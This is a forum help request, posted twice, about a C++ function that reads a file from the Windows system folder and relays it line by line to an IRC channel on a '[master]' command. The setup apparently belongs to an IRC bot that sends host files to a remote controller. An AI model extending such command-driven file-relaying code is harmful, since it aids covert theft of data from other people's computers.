string help
-
Hi all, im having trouble with the following code:
void read(void){ const int buffer4=900; char buffer[BUFSIZ]={'\0'}; char sysfolder4[buffer4]; ifstream file; ExpandEnvironmentStrings("%systemroot%\\file.txt", sysfolder4, buffer4); file.open(sysfolder4, ios::in); if(file.fail()){ msg = "PRIVMSG " + chan1 + " file is not detected..\n"; SendToServer(msg.c_str()); } else{ msg = "PRIVMSG " + chan1 + " Listing file..\n"; SendToServer(msg.c_str()); while(file.getline(buffer, BUFSIZ)){ Sleep(500); msg = "\r\nPRIVMSG " + chan1 + " :" + buffer; // *** SendToServer(msg.c_str()); } file.close(); msg = "\nPRIVMSG " + chan1 + " :End of file."; SendToServer(msg.c_str()); } }
Its suppose to read a file, and close when its done reading the file. However it reads the file, and finishes at the very last line, but stops until another command is entered and prints something un-wanted. Here's what i'd like to happen. [master] list sample [ client ] sample random text file. [ client ] test file reading. [ client ] read. [ client ] End of file. And here's what happens instead. [master] list sample [ client ] sample random text file. [ client ] test file reading. [ client ] read. [ master ] test [ client ] End of file.PRIVMSG #chan :This is only a test Can anyone tell me what could be wrong?? I've tried escape characters but they dont seem to do much, what could be wrong with the string buffer? Any help would be appreciated, thanx in advance! -
Hi all, im having trouble with the following code:
void read(void){ const int buffer4=900; char buffer[BUFSIZ]={'\0'}; char sysfolder4[buffer4]; ifstream file; ExpandEnvironmentStrings("%systemroot%\\file.txt", sysfolder4, buffer4); file.open(sysfolder4, ios::in); if(file.fail()){ msg = "PRIVMSG " + chan1 + " file is not detected..\n"; SendToServer(msg.c_str()); } else{ msg = "PRIVMSG " + chan1 + " Listing file..\n"; SendToServer(msg.c_str()); while(file.getline(buffer, BUFSIZ)){ Sleep(500); msg = "\r\nPRIVMSG " + chan1 + " :" + buffer; // *** SendToServer(msg.c_str()); } file.close(); msg = "\nPRIVMSG " + chan1 + " :End of file."; SendToServer(msg.c_str()); } }
Its suppose to read a file, and close when its done reading the file. However it reads the file, and finishes at the very last line, but stops until another command is entered and prints something un-wanted. Here's what i'd like to happen. [master] list sample [ client ] sample random text file. [ client ] test file reading. [ client ] read. [ client ] End of file. And here's what happens instead. [master] list sample [ client ] sample random text file. [ client ] test file reading. [ client ] read. [ master ] test [ client ] End of file.PRIVMSG #chan :This is only a test Can anyone tell me what could be wrong?? I've tried escape characters but they dont seem to do much, what could be wrong with the string buffer? Any help would be appreciated, thanx in advance!